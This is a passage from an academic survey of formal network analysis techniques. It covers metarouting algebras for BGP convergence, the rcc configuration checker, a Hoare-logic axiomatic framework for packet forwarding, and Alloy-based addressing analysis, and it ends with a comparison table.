network links, exchanges messages with neighbors, and selects most desirable route upon receiving routing advertisements according to routing policy. In the setting of BGP, routing mechanism part is simply standard path-vector protocol, whereas BGP policy defined over a list of policy attributes is used to express the corresponding AS’s traffic goal. Assuming correctness of BGP mechanism, metarouting focuses on specification of BGP policy and convergence analysis. The common policy control mechanisms BGP offers are: import policies that determine which routes to accept; export policies that decide which routes to re-advertise to neighbors; and the lexicographic routing comparison used in local route selection. In local route selection, for a given destination, each router goes through a list of attributes to compare and select the best route: the router checks one attribute at one time, selects the best route based on that attribute; the router goes down the list and compares the next attribute only if the attributes seen in previous steps are equally good. 4.2 Metarouting Algebras Metarouting uses abstract routing algebra \([25]\) as the mathematical model for routing policy. An abstract routing algebra \(A\) is denoted by a many-sorted algebra tuple \[ A = \langle \Sigma, \preceq, \mathcal{L}, \oplus, \mathcal{O}, \phi \rangle \] Here \(\Sigma\) describes the set of paths in the network totally ordered by preference relation \(\preceq\). Intuitively, the preference relation \(\preceq\) is used by the routing protocol algorithm to compare and select the most desirable route (path); \(\mathcal{L}\) is a set of labels describing links between immediate neighbors. Note that the labels may denote complicated policies associated with the corresponding link; \(\oplus\) is a mapping from \(\mathcal{L} \times \Sigma\) to \(\Sigma\), which is the *label application operation* that generates new paths by concatenating existing paths and adjacent links; \(\mathcal{O}\) is a subset of \(\Sigma\) called *origination* that represents the initial routes stored in the network; Finally \(\phi\) is a special element in \(\Sigma\) denoting prohibited path that will not be propagated in the protocol. **Base Algebras** Based on the notion of abstract routing algebra, metarouting offers two metalanguage features to construct algebra instances (interpretations). The first language feature is called base algebras that can be directly instantiated to model single-attribute policies for various optimal path policies and guidelines. As a first example, shortest path policy defined over routing path cost (path attribute interpreted by an integer cost) selects routes with lower cost (preference relation interpreted as the normal ordering \(\preceq\) over integers). Formally, shortest path policy can be represented by the following algebra instance: ∑: describes routing paths ≤: preference relation over ∑ Ł: link label ⊕: function from Ł × ∑ to ∑ O: origination routes φ: prohibited path Here, the prohibited path is instantiated to integer 16, which implies that no path with costs more than 16 is considered in the protocol. In metarouting, this algebra instance can be obtained directly from a pre-defined base algebra ADD (n, m) by instantiating n to 1, and m to 16. We now look at a second example use of metarouting base algebras. Gao-Rexford policy guideline is well-known for its convergence guarantee. It also reflects an ISP’s incentive to reduce the use of provider routes and encourage the use of customer routes for economical reasons. Like shortest path, Gao-Rexford policy guideline can be expressed by an algebra instance as follows: Here routing paths (links) attributes are interpreted as an enumerated type \{C, R, P\} denoting a customer, peer, or provider path (link). And preference relation is interpreted to reflect the ISP’s preference favoring customer and peer routes over provider routes. Like shortest path, this algebra instance can be obtained by instantiating metarouting base algebra \(l_p(3)\). **Lexical Product Composition** So far we have seen the use of metarouting base algebras to construct simple policies defined over single route attribute. We now describe the construction of compound BGP policies over multiple route attribute by using the second metarouting metalanguage feature: composition operator called lexical product \(⊗\). As its name suggests, lexical product operator models the lexicographical comparison used in BGP route selection described in [4.1]. The intuition is that a lexical product algebra \(A_{lex} = A_1 ⊗ A_2\) constructed from two sub-algebras \(A_1, A_2\) models a BGP policy with two group of attributes, where the more important attributes are handled by the first sub-algebra \(A_1\), and those less important used to break tie in route selection are handled by the second sub-algebra \(A_2\). Formally, the preference relation \(≤_{A_{lex}}\) of \(A_{lex}\) is defined by the constituent sub-algebras preferences \(≤_{A_1}\) and \(≤_{A_2}\) as follows: \[ ⟨σ_1, σ_2⟩ ≤_{A_{lex}} ⟨β_1, β_2⟩ \equiv σ_1 ≤_{A_1} β_1 \lor (σ_1 ∼_{A_1} β_1 ∧ σ_2 ≤_{A_2} β_2) \] As an example use of lexical product composition, consider a BGP policy that is compliant with Gao-Rexford policy guideline described in the previous section. A --- 1This bound 16 is used as a prevention of count-to-infinity problem 2An additional rewriting C/c → 1, R/r → 2, P/p → 3 is required possible metarouting algebra representation can be written as $A_{\text{compliant}} = A_{\text{guide}} \otimes A_{\text{other}}$, where $A_{\text{guide}} = lp(3)$ denotes the algebra instance for Gao-Rexford guideline, and $A_{\text{other}}$ models the remaining aspects of the BGP policy. Obviously $A_{\text{compliant}}$ models a guideline compliant policy because the first sub-algebra $A_{\text{guide}}$ ensures Gao-Rexford guideline is always enforced. ### 4.3 Metarouting Convergence Property By adopting the use of routing algebra as the mathematical model for routing policy, metarouting reduces policy properties/constraints to algebra properties. For example, the behavior of prohibited path as the least preferred path that is closed under path concatenation is captured by algebra properties maximal absorbtion. Moreover, the difficult convergence analysis is reduced to the examination of algebra monotonicity property. Algebra property monotonicity imposes the restriction that a route becomes less preferred when it “grows” (i.e. when route concatenation occurs), as illustrated in its definition: $$\text{Monotonicity} : \forall l \in L \forall \alpha \in \Sigma \quad \alpha \preceq l \oplus \alpha$$ (3) It is proved in [25] that monotonicity is a sufficient condition for BGP system convergence: **Theorem 1** A BGP system is guaranteed to converge if the BGP policy can be modeled by a strict-monotonic algebra By this theorem, we can conclude that both shortest path policy and Gao-Rexford guideline ensure convergence because they can be modeled by monotonic metarouting algebras. This is consistent with the convergence results obtained from manual proofs where all possible BGP executions are enumerated. To help user predicate system convergence, the monotonicity of all metarouting base algebras are given. In addition, it is shown that lexical product composition preserves monotonicity. That is, as long as the first sub-algebra is monotonic, the resulting lexical product algebra is monotonic regardless of the rest sub-algebras. Recall the Gao-Rexford guideline compliant BGP policy modeled by $A_{\text{compliant}} = A_{\text{guide}} \otimes A_{\text{other}}$. Because lexical product preserves monotonicity, and that we know $A_{\text{compliant}}$ is also monotonic regardless of the monotonicity properties of $A_{\text{other}}$. By theorem 1 we can conclude that any Gao-Rexford guide compliant policy $A_{\text{compliant}}$ ensures BGP convergence regardless of the rest of the policy modeled by $A_{\text{other}}$. This is also consistent with the major convergence result in [8]. ### 4.4 Evaluation According to the proposed taxonomy shown in Figure 3 metarouting is an example of formal specification technique with added routing protocol convergence property. As shown in Figure 2 metarouting takes conceptual requirement as input, and allows the user to construct “convergence guaranteed” routing protocol policies in the form of metarouting algebras. Metarouting can be potentially used to derive sound BGP system implementations with the help of metarouting meta-interpreter. By autoamtically deriving “convergence guaranteed”, additional verification effort is no longer required. As a result, metarouting can also be viewed as an example of correctness-by-construction routing design. We summarize strengths and limitations of metarouting as follows: Strengths • Convergence by Construction: Unlike previous efforts of combinatorial model and analysis, metarouting is the first BGP system model with convergence guarantee. • High-level modular policy configuration language: Metarouting algebras serve as a policy configuration language that enables the human user to focus on the high-level routing policy composition without worrying about the low-level policy configurations and their convergence properties. The pre-defined metarouting base algebras and composition operators can also be viewed as a default modular library that eases algebraic policy construction and encourages code and formal argument reuse. Limitations • Limited expressive power: Metarouting relies on monotonicity, a sufficient but not necessary condition to provide convergence guarantee. Therefore, metarouting is not complete with regard to convergence. And metarouting does not address well-converging routing protocols built from certain non-monotonic attributes such as MED, even though they provide useful semantics in practice. • Ranking and filtering: Though metarouting is a natural fit for various optimal path vector protocol and BGP policy guideline, it is not clear how metarouting can be used to model important BGP import/export policies based on router-specific ranking and filtering. The difficulty arises from the fact that metarouting algebra is per-AS based, as we will elaborate in the next paragraph. • Global algebra vs local policy configuration: By default, routing algebra is by natural global. That is, all routes traversing the network (within an AS) are measured with regard to one single global algebra. The various optimal path policies are such example global algebras. Another example algebra is for policy guideline which, though allows some flexibility, nevertheless, assumes global coordination/agreement among all distributed routers. This causes difficulties in Internet routing (inter-domain routing protocols such as BGP in particular) practice: (1) For competing reasons etc., Internet routing policy is configured and kept private locally at each AS; (2) Even within one single domain where an network operator has global access, the operator may want to configure routers in this same domain differently (e.g. different ranking/filtering policies at each router). 5 Detecting BGP configurations faults with rcc rcc is a router configuration checker for real BGP systems. rcc detects BGP routing faults that can potentially cause persistent routing failures by checking BGP configurations against a set of pre-defined high-level correctness constraints. rcc is designed for before deployment. rcc is intended to be used by network operator within one single AS. 5.1 Overview \textit{rcc} checks real BGP configuration distributed within a single AS. As shown in Figure 4, \textit{rcc} functionality can be decomposed into two parts: (1) a pre-processor and parser that converts input vendor-specific BGP configuration into an intermediary normalized representation, (2) a constraints checker that performs the actual checking on the normalized configuration according to a set of pre-defined high-level correctness constraints derived from a correctness specification. The goal of \textit{rcc} is to provide \textit{before-deployment} correctness checking ability and helps network operators move away from the “stimulus-response” reasoning. 5.1.1 Configuration Preprocessing and Parsing Before constraints checking, \textit{rcc} pre-processes the vendor specific BGP configurations distributed within the AS, and produces an intermediary more-checkable normalized representation. Basically, by de-referencing policy references such as filters, \textit{rcc} parser builds the normalized representations as a set of relational database tables. Note that, \textit{rcc} keeps track of all normalized policies: the policies with same operations, addressed by different names, or even when implemented in different configuration languages, are recognized as the same policy. 5.1.2 Correctness Specification and Violation \textit{rcc} detects BGP faults that cause persistent network-wide failures by checking BGP configuration against correctness specification. Built-in \textit{rcc} correctness specification identifies two types of high-level correctness properties: \textit{path visibility} and \textit{route validity}. \textbf{Path visibility} property asserts that for any reachable destination, at least one usable path will be discovered. A usable path is one that en-route to the correct destination node which is also compliant with BGP policies along the path. Specifically, in the scope of a single AS, path visibility ensures that the BGP configuration enables the propagation of routes to all reachable external destinations with regard to the intended BGP policy. Example path visibility violation is caused by iBGP misconfiguration which, when combined and interacted with IGP, prevents the dissemination of routes to external destinations. \textbf{Route validity} property asserts that any computed route corresponds to an actual usable path along which packets can be successfully forwarded to the destination. Intuitively, these two properties ensure that a router is always capable of finding a usable route to a destination when there exists one path conforming to the intended policy; and that each route the router discovers always reflects an usable underlying physical path. However, for verification purpose, these properties do not automatically suggest what conditions (constraints) shall be checked in real configuration. And the derived constraints enabling the actual faults detection is addressed in the next section. 5.1.3 Correctness Constraints and Faults Detection For each correctness property, \textit{rcc} identifies a set of constraints (conditions) that the BGP configuration shall conform to. These constraints (conditions) are then evaluated on the normalized policy database representation (produced by \textit{rcc} preprocessor) to detect potential misconfiguration. \textbf{Path visibility} ensures BGP policy does not create network partitions in a connected network (in lower layer). In particular, for iBGP configuration, it implies that within the AS, each internal router will eventually learns the routes to all reachable external destinations through the eBGP router. The \textit{iBGP signaling partition} problems caused by iBGP misconfiguration when interacted with IGP protocols is the focus of \textit{rcc} fault detection with regard to path visibility. Specifically, \textit{rcc} checks iBGP configuration with and without route reflector (RR) as follows: - In the absence of RR, a (sufficient) trivial constraint requires that the iBGP topology be a “full mesh”. - In practice, a full mesh topology is seldom adopted, instead, RR is used to improve scalability. In the presence of RR, the constraint requires only a full mesh topology among non-RR client BGP routers. The actual \textit{rcc} constraints checking of the above conditions is performed by iBGP signaling graph construction from the normalized policy tables. \textbf{Route validity} The challenge in route validity checking is the detection of policy-related violations. Without requiring additional human user’s input on the intended policy, \textit{rcc} checks against the proposed “policy belief” in compliance of best common practice. Example constraints imposed by best common policy belief include: - Routes learned from a peer are not re-advertised back. - Configuration anomalies are likely to be mistaken: for a given destination, when configurations at different routers differ, the few deviations are likely to be mis-configured. 5.2 Evaluation According to the proposed taxonomy shown in Figure 3, \textit{rcc} is a static analysis tool detecting routing protocol configurations faults. As shown in Figure 2, \textit{rcc} checks the unmodified BGP configurations against built-in correctness constraints. We summarize strengths and limitations of \textit{rcc} as follows: Strengths - Lightweight static analysis of real-world BGP configuration: \textit{rcc} reduces the analysis effort/burden imposed on network operator to the minimal. Unlike most formal analysis tools, \textit{rcc} does not require any expertise/experience in formal methods tools/techniques, nor any human interaction/inputs (not even the specification of the network operator’s intended policy!) in the reasoning/checking process; Yet like all static analysis tool applied before deployment, \textit{rcc} does not incur any performance overhead, and can detect problems in unmodified real-world vendor-specific BGP configurations. - Checking network-wide properties at local AS: \textit{rcc} enables network-wide faults detection of routing configuration by performing constraints checking at the local AS. Limitations - Soundness and completeness: Like many practical static analysis tool, \textit{rcc} is neither sound nor complete. The proposed constraints derived from path visibility and router validity properties catch only a sub-set of potential active faults which, when triggered by certain event sequences, will cause end-to-end persistent route failures. On the hand, constraints checking may also report false positive violations, which do not correspond to any route failures. - Best Common policy checking: To reduce user interaction to the minimal, \textit{rcc} operates without the intended policy specification, and relies on proposed “policy beliefs”. Such coarse-grained treatment of “intended policy” introduces false-positives constraint violations as well as the mask of potential faults in the real intended policy that is abstracted away. 6 Axiomatic Basis for Communication A first axiomatic semantics framework [13] for network service is proposed in [15] within the current layered Internet architecture. The intended usage of this semantics framework includes: (1) specification framework for the understanding, specification and reasoning of the increasingly complex Internet architecture and forwarding functionalities; (2) sound design language that facilitates rapid implementation of network protocols. The axiomatic semantic framework first provides a metalanguage for the specification of common network functionality such as addressing, naming, forwarding schemes, and the expression of architectural invariants such as message delivery. The semantics of this metalanguage is then rigorously defined in Hoare-style logic extended by “leads-to” relation which denotes the central network functionalities: “store-and-forward”. This Hoare-style semantics also serves as the foundation for network verification. 6.1 Basics: Abstract Switching and Forwarding A central problem in today’s Internet is the design and implementation of packet switcher and the associated functionality: package forwarding. The modeling and reasoning of most Internet services at different network layers rely on the notion of forwarding. Therefore it is desirable to have a proper abstraction of the switching unit and forwarding functionality. In this axiomatic framework, the notion of the “store-and-forward” switcher is captured by an abstract object called Abstract Stitching Element (ASE), and the forwarding principle is modeled by “leads-to” relation. An abstract switching element (ASE) generalizes the notion of the switcher, which may be called with different names at different network layers such as switcher, bridge, gateway, or router etc. Each ASE $A$ is associated with two types of logical ports: input ports $\times A$ that receives packets from a predecessor ASE $x$; and output ports $A \times$ that forwards message to the successor ASE $x$. Here variable $x$ is used to range over predecessor ASEs and successor ASEs. For example the logical ports for ASE $B$ placed between $A$ and $C$ are written as: $A B, B C$. Specifically, $0 A$ and $A 0$ denote the two end ports where a message is created and consumed respectively (recall nodes A and B in Figure [1]). The communication message $m$ at a port $x$ is denoted by $m @ x$. And the switching table $S_B$ maintained at ASE $B$ is modeled by a set of mappings: $\langle A, p \rangle \mapsto \{ \langle C, p' \rangle \}$ between $\langle ASE, header \rangle$ pairs. Switching table lookup at ASE $B$ for message received from $A$ with header $p$ is written as $S_B[A, p]$. On the other hand, “leads-to” relation $m @ x \to m @ y$ models the central forwarding operation which can be read as a message $m$ at port $x$ is forwarded to port $y$ as message $n$. The communication between directly connected ASEs $A, B$ can be simply written as $\langle m @ A B \to m @ A B \rangle$. Obviously, to accommodate message forwarding through intermediary nodes, “leads-to” must satisfy transitivity property: $$\forall x, y, z, m, m', m'' : (m @ x \to m' @ y) \land (m' @ y \to m'' @ z) \implies m @ x \to m'' @ z$$ The actual message switching operation at each intermediary node $B$ (from predecessor ASE $A$ to successor ASE $C$) can be formalized as follows: $$\forall A, B, C, m, p, p' : \exists A B, B C \land \langle C, p' \rangle \in S_B[A, p] \implies pm @ A B \to p'm @ B C$$ Here $S_B[A, p]$ denotes the switching table lookup operation at ASE $B$ for message received from predecessor ASE $A$ with prefix $p$. After the switching table lookup, $B$ transforms the prefix $p$ to $p'$ as specified by the chosen forwarding protocol and forwards the resulting message $p' m$ to successor ASE $C$ according to $S_B[A, p]$. By adopting the above abstract notions of ASE and “leads-to”, common communication concepts can be concisely formalized. For example, communication address used to identify a network entity can be specified as follows: **Address** If $\exists$ ASEs $A, B$ and prefix $p \neq \emptyset$ such that $\forall m : pm @ A \to pm @ B \to m @ B$ then $p$ is an address for $B$ at $A$. Here the intuition is that the address which identifies the destination node $B$ is the prefix that will not be changed along the forwarding path towards $B$, and that after arriving at $B$, the address $p$ will be removed from the carrying message $m$ for further processing. ### 6.2 Meta-language for Packet Forwarding We have shown that based on the notion of ASE and “leads-to”, common communication concepts can be easily formulated. To further facilitate the development and reasoning of real forwarding practice, the axiomatic framework identifies a set of primitive operations to serve as a meta specification language. Besides forwarding, axiomatic framework also includes primitives for control mechanism, which determines the actual path along which message is forwarded, as described in section 2. **Forwarding Primitives** To forward message (i.e. realization of the “leads-to” relation) among two end-node in today’s Internet, as shown in Figure 1 (end-nodes A and B), repeated message encapsulation at message creation node A and de-encapsulation at message consumption node B are performed. At each node (modeled by ASE) along the forwarding path, switching lookup and the actual forwarding are performed. Besides packet forwarding, to accommodate virtual circuit networks and recent middleboxes extensions such as NAT, firewall, additional operations are also included. The following primitives capture these necessary functionality: - Encapsulation and de-encapsulation are performed by primitives `push(message, string)` and `string pop(message)`. - The actual store-and-forward is performed by primitives `send(ase,message)`, `<ase,message> receive()`, `lookup(ase,string)`, and `message copy(message)`. **Control Primitives** Routing is the control process that decides along which nodes and paths messages are forwarded. Specifically, switching (forwarding) table is maintained by routing protocols. The routing challenges addressed in the axiomatic framework include: (1) naming (address carried by protocol head) in overlay network and inter-networks connected by gateway; (2) specific path setup mechanism for virtual-circuit (swap) and Ethernet (bridging). Accordingly, axiomatic framework supplies the control primitives to implement these functionalities. Intuitively, the control primitives augment the ASE formalism with switching table update ability and control message exchange ability operations - Primitives for switching table updates are: `update(ase,string,ase,string)` - Primitives for control message path setup include: `string getlabel(message)`, `setlabel(message,string)`, `message create(opcode)`, and `message response(message,opcode)` Combining the above forwarding/control primitives and the usual control flow primitives in procedure languages (condition, branch, loop), typical processing patterns for forwarding data, resolution, path setup etc. can be concisely specified. For example, the regular data message forwarding can be implemented by primitives as follows: ```plaintext 1 string n = pop(msg); 2 {<ase, string>} S = lookup(prev, n); 3 for each <ase, string> s_i in S { 4 message outmsg = copy (msg); 5 push (outmsg, s_i.string); 6 send(s_i.ase, outmsg); 7 } ``` Intuitively, the above program specifies that upon receiving a message `msg` at an intermediary ASE, forwarding primitive `pop` is first invoked to get the outermost name (destination address), followed by a switching table lookup operation to decide the outgoing successor ASEs (denoted by $S$). Next, for each successor ASE $s_i$, the message data is copied and stored at outmsg, and new prefix is generated by push primitive in line 5. Finally, send primitive moves the message to the corresponding successor ASEs. ### 6.3 Formal Semantics in Hoare Logic To facilitate formal reasoning, a rigorous formal semantics of the proposed primitives are given in Hoare-style logic. Basically, the semantics of each primitive operation is given by a pair of pre/post-condition assertions. And the pre/post-assertion are specified in the usual first-order logic augmented with “leads-to” relation. For example, the meaning of primitive send is captured by the following axiom: $$\text{send}(C, m) \quad \varphi_1 \{ \text{send}(C, m) \} \varphi$$ where $$\varphi = \theta \supset m'@x \rightarrow m''@y$$ and $$\varphi_1 = \theta \supset (m'@x \rightarrow m''@y \lor (m'@x \rightarrow m@AC \land m@AC \rightarrow m''@y))$$ Here for the post-condition $\varphi$ to be true, which asserts that message $m'$ can be forwarded from port $x$ to $y$ (i.e. “leads-to” relation $m'@x \rightarrow m''@y$), the pre-condition is that either the “leads-to” relation is already true regardless of send or that the “leads-to” relation is established by send($C, m$) operation. In the later case, the intuition is that send($C, m$) is performed by an intermediary port ($AC$) in multi-hop message forwarding. As a second example, the meaning of push is captured by Hoare-style axiom extended with “leads-to” relation as follows: $$\text{push}(m, n) \quad \varphi [nm/m] \{ \text{push}(m, n) \} \varphi$$ Here, push operation that models prefix encapsulation is simply interpreted as prefix prepending (prepend $m$, the message being carried, with a new prefix $n$). The formal semantics of other primitives are given in a similarly way. ### An Example Proof Equipped with the formal semantics and the underlying extended Hoare-style logic, formal verification is enabled: to perform verification for a given property of a service specified in the axiomatic framework, simply formulate the desired property by a proper post-condition, and repeatedly apply predicate-transformation for each primitive being executed according to Hoare logic in the reverse order the primitives are executed. Correctness is established by reducing the post-condition to a trivially-true pre-condition. As an example proof, consider the 7-line message-forwarding program in the previous section. Without loss of generality, assume the program is executed at ASE $A$, and the message $msg = pm_{i0}$ ($p$ is the prefix, and $m_{i0}$ is the message data being carried) is received from port $B\ A$ connecting to some predecessor ASE $B$. First, the user comes up with the property of interests, i.e. the desired post-condition as follows: For each entry for $(B, p)$ in $A$’s switching table: $$\forall_{s_i \in S} \supset (pm_{i0}@B \ A \rightarrow (s_i, \text{string})m_{i0}@A^{s_i, \text{asc}})$$ This post-condition says the intended effect of the forwarding program is that received message $msg = pm_0$ can be successfully forwarded to all successive ASEs $s_i.ase$ according to the switching table entry $S$ for the received message $\langle B, p \rangle$. To verify this post-condition, one tries the Hoare-logic axiom for each executed operation in a backward fashion. First, as shown in the last line, $\{ \}$ denotes the outermost for loop for each successive ASE in the switching table. By applying the Hoare-Logic axiom for for loop, the post-condition is reduced to the following form: $$s_i \in S \supset (pm_0 @ B \rightarrow (s_i.string)m_0 @ A^{s_i.ase})$$ Next, primitive $send$ is executed (line 6), by applying the corresponding axiom $send(C, m)$ introduced in the previous section, we can reduce the post-condition to the following form: $$s_i \in S \supset ((pm_0 @ B \rightarrow outmsg @ A^{s_i.ase} \land outmsg @ A^{s_i.ase} \rightarrow (s_i.string)m_0 @ A^{s_i.ase}) \lor \cdots )$$ Note that we only consider the second branch in $send(C, m)$ axiom where the execution of $send$ is critical to reduce pre-condition. The first irrelevant branch is therefore denoted by $\cdots$. This proof choice is non-trivial and indeed requires user direction. In more complicated cases, genuine insights in the proof process are often needed, and though the formal semantics introduced in the axiomatic framework make the proof mechanically checkable, the axioms themselves do not suggest how a proof can be constructed. Following this backward post-condition to pre-condition transformation, we see primitive $push$ executed in line 5, accordingly apply axiom $push(m, n)$, and the new pre-condition is derived: $$s_i \in S \supset (pm_0 @ B \rightarrow (s_i.string)outmsg @ A^{s_i.ase} \land (s_i.string)outmsg @ A^{s_i.ase} \rightarrow (s_i.string)m_0 @ A^{s_i.ase})$$ Similarly, repeat such predicate transformations according to the Hoare-logic axiom associated with primitives in line 4-1 as well, one finally arrives at the following pre-condition: $$s \in S_{A}[prev, p] \supset (pm_0 @ B \rightarrow (s.string)m_0 @ A^{s.ase} \land (s.string)m_0 @ A^{s.ase} \rightarrow (s.string)m_0 @ A^{s.ase})$$ This pre-condition is trivially true from assumption: $$prev = B \land m = pm_0 \land \exists B A$$ Which simply says $B$ is the predecessor ASE and $msg$ is of the form $pm_0$. ### 6.4 Evaluation According to the proposed taxonomy shown in Figure 3, the axiomatic framework discussed in this section is an example of formal specification technique for network forwarding. Similar to metarouting, this semantics framework facilitates the understanding, reasoning, and design of network protocols, as shown in Figure 2. The major difference is that metarouting enables “specific soundness property” (i.e. convergence) by correctness-by-construction, whereas axiomatic formulation, by defining an rigorous semantics in Hoare-style logic, establishes “a wider range of soundness properties” by formal reasoning. We summarize the strengths and limitation of axiomatic formulation as follows: Strengths - A general purpose high-level logical specification language: The proposed meta-language is rich and flexible enough for the expression of network service, protocol properties, and architectural invariants. In addition, emerging features, though violating the original Internet design principles, such as middleboxes, can be easily specified. With the help of a meta-compiler, a preliminary universal forwarding engine has been implemented in Click. - Verification foundation: The formal semantics in Hoare logic with “leads-to” relation serves as a rigorous foundation for formal network verification. Limitation Internet today is a huge and complex system. The axiomatic framework is among the initial efforts towards an integrated environment that provides a precise model, modular formal development and reasoning support. To outperform or compete with existing network programming framework with pre-implemented network primitives and various automated formal reasoning tools, a real compiler that helps synthesize system codes and automated reasoning procedures are desirable. 7 Addressing Analysis with Alloy Alloy is a lightweight integrated tool for object-oriented style formal specification and automatic analysis. In [30], Alloy is used for addressing analysis in incorporating networks. The major benefit with Alloy is that: the Alloy specification language eases the formalization of addressing and interoperation requirement and Alloy analyzer takes care of the analysis process. 7.1 Overview Network addressing and interoperation are two enabling mechanisms for global network connectivity. Alloy analysis tool featuring a friendly relation logic language and model-finding based analyzer is used to better understand the addressing problem in interoperation networks. 7.1.1 Connection and Interoperation Specification in Alloy As a first step, an abstract model for network notions such as connection and interoperation are constructed in Alloy specification logic. These formal specification will be used as the basis in Alloy analysis described in the next section. Alloy features a specification language that combines relational logic and fragment of second order logic. This specification language enables abstract modeling in an object-oriented style augmented with flexible use of logical quantifiers. We summarize the Alloy abstraction (specification) for connection and interoperation as follows: Connection - Agents: Alloy specification for agent models network end nodes that are either a client or a server. • Domain: Alloy specification for domain models the addressing mechanism that assigns for each participant agent an address. Note that an agent can participate in multiple domains and therefore obtain different addresses for different domains. • Hop: Alloy specification for hop models a particular persistent connection between two agents through a common domain both of the agents participate. • Link: connects adjacent hops to create multi-hop connection. As an illustrating example, the Alloy specification for Domain is as follows: ```alloy sig Domain {space: set Address, map: space -> Agent} fact{all d: Domain, g: Agent | g in Address.(d.map) => d in g.attachments} ``` Here, the signature statement says each Domain contains a set of addresses and maintains a mapping between the addresses to agents. Recall that in Alloy, an agent is either a client or server attached to some domain. Next, the fact statement asserts the constraint as part of Domain specification that an agent is attached to a domain as long as its address is maintained by that domain. Interoperation • Feature: models abstract service which is deployed in a domain and implemented by some servers (i.e. agents in the domain that provide the abstract service). • Interoperation: is a special service, and the server that implements interoperation service models gateway. As an illustrating example, the Alloy specification for Feature is as follows: ```alloy abstract sig Feature {domain: Domain, servers: set Server} {some servers} fact {servers: Feature one -> Server} ``` The intuition in sig statement is that a feature is always deployed in a particular domain, and provided/implemented by a non-empty set of servers. The following fact statement asserts that server can be viewed as a function from features to servers. Interestingly, based on this Alloy specification, a dynamic, single-address NAT can be viewed as an interoperation service that maps many private IP addresses to a single public one. 7.1.2 Requirement Analysis in Alloy Based on the abstract model above, Alloy analyzer is used to facilitate user-level interoperation requirement analysis. The two requirement properties considered are reachability requirement and returnability requirement • Reachability: reachability property asserts that if a domain assigns an addresses to a client for reachability service, then the client can be reached by that address. • Returnability: returnability property of connection says that if a client A can be reached by some source client B, then client A should also be able to request connection to reach client B that initiates the first connection. To analyze these two properties in Alloy, they are first encoded as additional Alloy constraints. As an illustrating example, the Alloy encoding of reachability is as follows: ```alloy assert Reachability {all c: Connections, g1, g2: Client, h: Hop, a: Address, d: Domain | g1 = h.initiator && d = h.domain && a = h.target && (a->) in g2.knownAt => (some h2: Hop | g2 = h2.acceptor && (h->h2) in c.connected)} ``` The intuition here is that if a client $g_1$ requests a connection to a reachable second client $g_2$ by address $a$ that is in $g_2$’s knownAt set, then $g_1$ is connected to $g_2$ through some hop $h_2$. Based on the above Alloy constraints, Alloy analyzer then searches for network instances that meet the requirement constraints, as well as counter-examples. For a moderate sized model consistent with requirement constraints, Alloy returns a model (satisfying instance) that is very convincing and convenient. In general, Alloy performs constraints checking by exhaustive model finding up to a fixed bound. ### 7.2 Evaluation According to the proposed taxonomy shown in Figure 3, Alloy based addressing analysis is an example of formal verification of network requirement. As shown in Figure 2, Alloy takes conceptual requirement as input, and requires user effort to construct a formal model for addressing and interoperation in Alloy specification language. Next, Alloy takes care of constraints analysis based on the formal specification. We summarize strength and limitation of Alloy as follows: **Strength** Alloy specification language and integrated analyzer significantly help the understanding of the confusing addressing problems in interoperation networks. In contrast to a full formal verification, the automatic Alloy analyzer relying on model finding techniques rather than deductive reasoning has been proven to be sufficient for reasoning about addressing. **Limitation** Like many formal verification tools, Alloy requires an initial investment in formal specification before automatic analysis can be performed. The model-finding (through model enumeration process) analysis, though sufficient for the specific case study of addressing, when compared with traditional deductive reasoning, may become less convincing for more complicated analysis tasks. Finally, the analysis is restricted to an abstract model built-in Alloy specification language that is decoupled from real world implementation. ### 8 Discussion In this section, we conclude our survey with comparisons of the different techniques proposed for formal network analysis, followed by a discussion of the challenges. 8.1 Comparison In previous sections, we have discussed representative techniques and systems for formal network analysis, including metarouting framework for routing with convergence guarantee in section 4, axiom formulation of network forwarding in section 6, BGP configuration analysis tool rcc in section 5, and Alloy based addressing analysis in section 7. Incorporated with the evaluations of individual systems presented in previous sections, we now present a comparison and evaluation of the different systems and highlight the ranking of each technique with respect to the corresponding criteria/dimension. As summarized in Table 2, the following criterion and dimensions are considered. - Application scope dimension specifies the scope of the formal analysis system. For example, metarouting is an example of formal specification system, whereas axiomatic formulation can be used for both specification and verification, and rcc is only used for system validation. - Expressiveness and automated reasoning support are a pair of conflicting properties that reflect the design choice of the underlying formal analysis system: In theory, the more expressive a specification language is, the less automated reasoning support can be built. In practice, an automatic verification system usually implies the use of a moderate specification language. For example, metarouting and axiomatic formulation represent two extremes in the design of specification language. We will revisit in details the comparison of specification techniques in metarouting and axiomatic formulation in section 8.1.1. - Soundness and completeness are a pair of dual properties. Soundness ensures that the properties derived in the formal analysis system are indeed preserved in the network specification or system implementation being analyzed. On the other hand, completeness asserts that the analysis of all properties of interests are supported by the analysis system. Obviously, a useful network analysis system should be sound but not necessarily complete since the system may be dedicated to some particular properties. This is observed in the four representative systems studied in this survey: most of them are sound, but only one is complete. - Closeness to implementation dimension reflects the analysis system’s applicability to real-world network protocols. Systems work on unmodified network <table> <thead> <tr> <th></th> <th>Metarouting</th> <th>Axiom formulation</th> <th>rcc</th> <th>Alloy</th> </tr> </thead> <tbody> <tr> <td>Application scope</td> <td>Specification</td> <td>Specification &amp; verification</td> <td>validation</td> <td>Specification &amp; verification</td> </tr> <tr> <td>Expressiveness</td> <td>Medium</td> <td>High</td> <td>Low</td> <td>Medium</td> </tr> <tr> <td>Automated reasoning support</td> <td>High</td> <td>Low</td> <td>High</td> <td>High</td> </tr> <tr> <td>Soundness</td> <td>Yes</td> <td>Yes</td> <td>No</td> <td>Yes</td> </tr> <tr> <td>Completeness</td> <td>No</td> <td>Yes</td> <td>No</td> <td>No</td> </tr> <tr> <td>Closeness to implementation</td> <td>Low</td> <td>Medium</td> <td>High</td> <td>Medium</td> </tr> <tr> <td>Initial investment in system modeling</td> <td>Medium</td> <td>High</td> <td>Low</td> <td>High</td> </tr> </tbody> </table> Table 2: A Summary of the evaluations for different network analysis systems systems such as rcc are ranked highest, whereas systems with strong correctness guarantee such as metarouting are ranked lowest. - Initial investment dimension reflects the additional efforts required in the deployment of the system. Many design choices affect the additional investment required. For example, systems work directly on implementation are also likely to incur only minimal efforts, as in the case of rcc. However, systems that are very flexible and cover a wide range of network properties (i.e. complete), such as axiomatic formulation require very high initial system modeling efforts. In the rest of this section, we discuss in details the comparison between formal specification, verification, and system validation. We first compare in details different formal specification techniques. We omit the comparison of formal verification techniques, because the full formal verification often restricted to to network standard/design is of less interests. And though lightweight formal verification has witnessed application in networking recently, they suffer similar scalability problem: high-initial investment in specification and non-incremental verification that are hard to reuse and scale. Instead, we compare formal verification with system validation techniques. ### 8.1.1 Comparison of formal specification techniques We have discussed two types of formal specification formalism: metarouting as an example of network 